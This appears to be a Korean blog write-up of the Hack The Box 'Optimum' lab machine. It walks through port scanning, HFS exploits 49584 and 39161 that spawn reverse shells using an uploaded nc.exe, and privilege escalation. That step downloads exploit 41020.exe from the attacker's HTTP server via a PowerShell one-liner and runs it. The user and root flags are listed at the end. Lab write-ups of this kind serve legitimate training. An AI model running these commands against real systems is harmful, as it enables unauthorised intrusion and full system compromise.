Wargame/Hack The Box

[HTB] Optimum Writeup

Vardy 2022. 1. 11. 22:22

 

포트 스캐닝

nmap -sC -sS -sV -O -p- -o scanResult.txt 10.129.1.127

 

 

searchsploit HFS

 

 

이중 49584.py를 활용하여 Reverse Shell을 통해 user flag를 획득 할 수 있었다.

 

이제 권한 상승을 시도해보자. Windows의 경우 꽤나 복잡했는데, 구글링을 하다가 좋은 Tool을 발견했다.

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

 

GitHub - AonCyberLabs/Windows-Exploit-Suggester: This tool compares a targets patch levels against the Microsoft vulnerability d

This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public expl...

github.com

https://github.com/bitsadmin/wesng

 

GitHub - bitsadmin/wesng: Windows Exploit Suggester - Next Generation

Windows Exploit Suggester - Next Generation. Contribute to bitsadmin/wesng development by creating an account on GitHub.

github.com

 

wesng가 더 새로운 버전이지만, 둘 다 사용해본결과 Windows-Exploit-Suggester.py가 더 편한듯 하다.

wget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/master/windows-exploit-suggester.py
pip instll --user xlrd==1.1.0
python windows-exploit-suggester.py --update
python windows-exploit-suggester.py --database 2022-01-13-mssb.xls --systeminfo systeminfo.txt

위 결과 중 권한 상승 관련된 취약점들을 활용해보려했는데, 잘 되지 않았다. 여러 샘플 자료와의 차이점을 보니 

powershell이 아닌 일반 cmd를 쓰고 있다는 점이었다. 그래서 나도 powershell -> cmd 전환을 해보려했으나 잘 되지 않아서

HFS에 nc.exe 업로드 -> 업로드한 nc.exe를 사용하여 reverse shell 실행(cmd) 방식인듯한 39161.py를 사용하여 다시 리버스 쉘을 획득했다.

searchsploit -m 39161
cp /usr/share/windows-resources/binaries/nc.exe ./
python3 -m http.server 80
python 39161.py 10.129.203.200 80 (파일 내부에 로컬 ip, port를 설정해주어야한다.)

 

Windows-Exploit-Suggester.py 를 통해 얻은 정보 중 41020을 활용해서 권한 상승을 시도해보자.

wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.80/41020.exe', 'c:\Users\kostas\Desktop\ex.exe')"
ex.exe

 

exploit 실행 파일이 정상 수행되어 시스템 권한을 획득할 수 있었다.

 

FLAG = 

[user] d0c39409d7b994a9a1389ebf38ef5f73

[root] 51ed1b36553c8461f4552c2e92b3eeed

반응형